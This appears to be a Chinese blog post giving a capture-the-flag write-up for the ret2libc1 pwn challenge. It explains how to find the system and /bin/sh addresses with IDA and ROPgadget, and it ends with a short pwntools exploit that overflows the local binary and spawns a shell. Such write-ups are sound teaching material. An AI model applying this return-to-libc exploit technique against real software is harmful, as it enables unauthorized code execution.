basic rop ret2libc(1)

题目:ret2libc1
类似的题型我应该做过,就是找到system的地址和/bin/sh的地址,然后进行拼接传给系统。
wp:
checksec开始:
在这里插入图片描述
用ida看函数:
在这里插入图片描述
在这里插入图片描述
和前面的一样不做过多的赘述
主要的思路是,要找到system和/bin/sh的地址。
寻找/bin/sh 的地址有两个方法,一个是用ida字符串:
在这里插入图片描述
另一种使用ROPgadget来查询字符串的位置:
在这里插入图片描述
查找system的地址的方法建议使用ida,用ROPgadget我也不太会,我用string查出来的地址不太一样。
所以直接看ida的:
在这里插入图片描述
在call system的汇编语言中单击system进去
便可以看到system的位置
下面是exp:

from pwn import *
sh=process('./ret2libc1')
sysaddr=0x8048460
binaddr=0x8048720
payload=flat(['a'*112,sysaddr,'b'*4,binaddr])
sh.sendline(payload)
sh.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值